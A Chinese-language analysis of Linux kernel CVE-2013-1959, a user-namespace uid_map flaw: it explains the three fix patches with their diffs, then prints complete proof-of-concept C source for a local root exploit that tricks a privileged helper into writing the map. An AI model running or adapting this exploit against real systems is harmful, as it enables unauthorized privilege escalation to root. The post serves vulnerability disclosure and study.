关键字:CVE-2013-1959,cve,kernel vulnerability,内核漏洞,POC,利用代码,本地提权,exploit, analysis,user namespace,capabilities 2013年4月28日,Andy Lutomirski在oss-security披露了该cve的细节。CVE-2013-1959是当前内核稳定版本安全补丁修复所对应的一个CVE。这个CVE的原因是在user namespace中,/proc/uid_map存多个不正确的权限检查。如果启用相关的配置,Linux 3.8和很多3.9rcs将受到影响。利用者可以获取root权限。 修复这个CVE对应的有3个patch,以下先大致介绍这三个Patch所修改的内容。 Patch1:Add file_ns_capable() helper function for open-time capability checking``` From 935d8aabd4331f47a89c3e1daa5779d23cf244ee Mon Sep 17 00:00:00 2001 From: Linus Torvalds torvalds@linux-foundation.org Date: Sun, 14 Apr 2013 10:06:31 -0700 Subject: [PATCH] Add file_ns_capable() helper function for open-time capability checking
Nothing is using it yet, but this will allow us to delay the open-time checks to use time, without breaking the normal UNIX permission semantics where permissions are determined by the opener (and the file descriptor can then be passed to a different process, or the process can drop capabilities).
Signed-off-by: Linus Torvalds torvalds@linux-foundation.org
include/linux/capability.h | 2 ++ kernel/capability.c | 24 ++++++++++++++++++++++++ 2 files changed, 26 insertions(+)
diff –git a/include/linux/capability.h b/include/linux/capability.h index 98503b7..d9a4f7f4 100644 — a/include/linux/capability.h +++ b/include/linux/capability.h @@ -35,6 +35,7 @@ struct cpu_vfs_cap_data { #define _KERNEL_CAP_T_SIZE (sizeof(kernel_cap_t))
+struct file; struct inode; struct dentry; struct user_namespace; @@ -211,6 +212,7 @@ extern bool capable(int cap); extern bool ns_capable(struct user_namespace *ns, int cap); extern bool nsown_capable(int cap); extern bool inode_capable(const struct inode *inode, int cap); +extern bool file_ns_capable(const struct file *file, struct user_namespace *ns, int cap);
/* audit system wants to get cap info from files as well */ extern int get_vfs_caps_from_disk(const struct dentry *dentry, struct cpu_vfs_cap_data *cpu_caps); diff –git a/kernel/capability.c b/kernel/capability.c index 493d972..f6c2ce5 100644 — a/kernel/capability.c +++ b/kernel/capability.c @@ -393,6 +393,30 @@ bool ns_capable(struct user_namespace *ns, int cap) EXPORT_SYMBOL(ns_capable);
/**
- * file_ns_capable - Determine if the file’s opener had a capability in effect
- * @file: The file we want to check
- * @ns: The usernamespace we want the capability in
- * @cap: The capability to be tested for
- *
- * Return true if task that opened the file had a capability in effect
- * when the file was opened.
- *
- * This does not set PF_SUPERPRIV because the caller may not
- * actually be privileged.
- */ +bool file_ns_capable(const struct file *file, struct user_namespace *ns, int cap) +{
- if (WARN_ON_ONCE(!cap_valid(cap)))
return false;
- if (security_capable(file->f_cred, ns, cap) == 0)
return true;
- return false; +} +EXPORT_SYMBOL(file_ns_capable);
+/** * capable - Determine if the current task has a superior capability in effect * @cap: The capability to be tested for *
1.9.0
在这个patch中,linus实现了一个file\_ns\_capable函数,这个函数检查文件的打开者是否有权限对文件进行操作。 Patch2:userns: Check uid\_map's opener's fsuid, not the current fsuid
From e3211c120a85b792978bcb4be7b2886df18d27f0 Mon Sep 17 00:00:00 2001
From: Andy Lutomirski luto@amacapital.net
Date: Sun, 14 Apr 2013 16:28:19 -0700
Subject: [PATCH] userns: Check uid_map’s opener’s fsuid, not the current fsuid
Signed-off-by: Andy Lutomirski luto@amacapital.net
kernel/user_namespace.c | 4 ++– 1 file changed, 2 insertions(+), 2 deletions(-)
diff –git a/kernel/user_namespace.c b/kernel/user_namespace.c index e2d4ace..5c16f3a 100644 — a/kernel/user_namespace.c +++ b/kernel/user_namespace.c @@ -797,12 +797,12 @@ static bool new_idmap_permitted(const struct file *file, u32 id = new_map->extent[0].lower_first; if (cap_setid == CAP_SETUID) { kuid_t uid = make_kuid(ns->parent, id);
if (uid\_eq(uid, current\_fsuid()))
if (uid\_eq(uid, file->f\_cred->fsuid)) return true; } else if (cap\_setid == CAP\_SETGID) { kgid\_t gid = make\_kgid(ns->parent, id);
if (gid\_eq(gid, current\_fsgid()))
if (gid\_eq(gid, file->f\_cred->fsgid)) return true; }
} 1.9.0 该patch检查uid\_map的打开者的fsuid,而不是当前的fsuid。 Patch3:userns: Don't let unprivileged users trick privileged users into setting the id\_map
From 6708075f104c3c9b04b23336bb0366ca30c3931b Mon Sep 17 00:00:00 2001 From: “Eric W. Biederman” ebiederm@xmission.com Date: Sun, 14 Apr 2013 13:47:02 -0700 Subject: [PATCH] userns: Don’t let unprivileged users trick privileged users into setting the id_map
When we require privilege for setting /proc//uid_map or /proc//gid_map no longer allow an unprivileged user to open the file and pass it to a privileged program to write to the file.
Instead when privilege is required require both the opener and the writer to have the necessary capabilities.
I have tested this code and verified that setting /proc//uid_map fails when an unprivileged user opens the file and a privielged user attempts to set the mapping, that unprivileged users can still map their own id, and that a privileged users can still setup an arbitrary mapping.
Reported-by: Andy Lutomirski luto@amacapital.net Signed-off-by: “Eric W. Biederman” ebiederm@xmission.com Signed-off-by: Andy Lutomirski luto@amacapital.net
kernel/user_namespace.c | 12 ++++++++—- 1 file changed, 8 insertions(+), 4 deletions(-)
diff –git a/kernel/user_namespace.c b/kernel/user_namespace.c index a54f26f..e2d4ace 100644 — a/kernel/user_namespace.c +++ b/kernel/user_namespace.c @@ -25,7 +25,8 @@
static struct kmem_cache *user_ns_cachep __read_mostly;
-static bool new_idmap_permitted(struct user_namespace *ns, int cap_setid, +static bool new_idmap_permitted(const struct file *file,
struct user\_namespace \*ns, int cap\_setid, struct uid\_gid\_map \*map);
static void set_cred_user_ns(struct cred *cred, struct user_namespace *user_ns) @@ -700,7 +701,7 @@ static ssize_t map_write(struct file *file, const char __user *buf,
ret = -EPERM;
/\* Validate the user is allowed to use user id's mapped to. \*/
- if (!new_idmap_permitted(ns, cap_setid, &new_map))
if (!new_idmap_permitted(file, ns, cap_setid, &new_map)) goto out;
/* Map the lower ids from the parent user namespace to the @@ -787,7 +788,8 @@ ssize_t proc_projid_map_write(struct file *file, const char __user *buf, size_t &ns->projid_map, &ns->parent->projid_map); }
-static bool new_idmap_permitted(struct user_namespace *ns, int cap_setid, +static bool new_idmap_permitted(const struct file *file,
struct user\_namespace \*ns, int cap\_setid, struct uid\_gid\_map \*new\_map)
{ /* Allow mapping to your own filesystem ids */ @@ -811,8 +813,10 @@ static bool new_idmap_permitted(struct user_namespace *ns, int cap_setid,
/\* Allow the specified ids if we have the appropriate capability
\* (CAP\_SETUID or CAP\_SETGID) over the parent user namespace.
- * And the opener of the id file also had the approprpiate capability. */
- if (ns_capable(ns->parent, cap_setid))
- if (ns_capable(ns->parent, cap_setid) &&
file\_ns\_capable(file, ns->parent, cap\_setid)) return true;
return false; 1.9.0 这个patch就是调用前面两个patch的修改内容,当对uid\_map或gid\_map文件进行写操作的时候(也就是建立kuid和uid映射的时候)增加对文件打开者的检查。 看了这三个patch以后,应该也就知道该CVE的原因了。由于对uid\_map或gid\_map的写检查缺少对打开者的检查,这样攻击者可以使用非特权用户打开uid\_map文件,然后使用特权程序对该文件进行写操作。通过这样的方式欺骗内核,用户便可以执行setuid操作进行权限提升。 下面是对应的POC代码
/* userns_root_sploit.c by */ /* Copyright (c) 2013 Andrew Lutomirski. All rights reserved. */ /* You may use, modify, and redistribute this code under the GPLv2. */
#define _GNU_SOURCE #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <err.h> #include <linux/futex.h> #include <errno.h> #include <unistd.h> #include <sys/syscall.h>
#ifndef CLONE_NEWUSER #define CLONE_NEWUSER 0x10000000 #endif
pid_t parent; int *ftx;
int childfn() { int fd; char buf[128];
if (syscall(SYS_futex, ftx, FUTEX_WAIT, 0, 0, 0, 0) == -1 && errno != EWOULDBLOCK) err(1, “futex”);
sprintf(buf, “/proc/%ld/uid_map”, (long)parent); fd = open(buf, O_RDWR | O_CLOEXEC); if (fd == -1) err(1, “open %s”, buf); if (dup2(fd, 1) != 1) err(1, “dup2”);
// Write something like “0 0 1” to stdout with elevated capabilities. execl("./zerozeroone", “./zerozeroone”);
return 0; }
int main(int argc, char **argv) { int dummy, status; pid_t child;
if (argc < 2) { printf(“usage: userns_root_sploit COMMAND ARGS…\n\n” “This will run a command as (global) uid 0 but no capabilities.\n”); return 1; }
ftx = mmap(0, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (ftx == MAP_FAILED) err(1, “mmap”);
parent = getpid();
if (signal(SIGCHLD, SIG_DFL) != 0) err(1, “signal”);
child = fork(); if (child == -1) err(1, “fork”); if (child == 0) return childfn();
*ftx = 1; if (syscall(SYS_futex, ftx, FUTEX_WAKE, 1, 0, 0, 0) != 0) err(1, “futex”);
if (unshare(CLONE_NEWUSER) != 0) err(1, “unshare(CLONE_NEWUSER)");
if (wait(&status) != child) err(1, “wait”); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, “child failed”);
if (setresuid(0, 0, 0) != 0) err(1, “setresuid”); execvp(argv[1], argv+1); err(1, argv[1]);
return 0; }